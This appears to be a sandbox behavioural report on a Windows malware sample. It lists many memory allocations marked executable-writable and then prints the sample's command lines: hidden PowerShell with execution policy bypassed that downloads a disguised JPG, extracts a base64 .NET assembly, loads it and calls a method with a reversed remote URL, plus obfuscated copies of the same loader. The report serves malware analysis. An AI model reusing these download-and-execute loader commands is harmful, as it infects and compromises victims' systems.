allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2132
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02492000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02801000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02802000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0250a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02517000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02502000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02515000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0250c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02650000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02503000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02504000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02505000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02506000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02507000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02508000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02509000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02710000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02711000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02712000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02713000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02714000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02716000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02717000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02718000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02719000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ojkfa/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
cmdline powershell -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBv◀▶Go◀▶awBm◀▶GE◀▶Lw◀▶y◀▶DU◀▶Lg◀▶4◀▶DQ◀▶Lg◀▶w◀▶DE◀▶MQ◀▶u◀▶Dk◀▶Nw◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶GQ◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶YQBk◀▶HM◀▶YQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bl◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBj◀▶HU◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀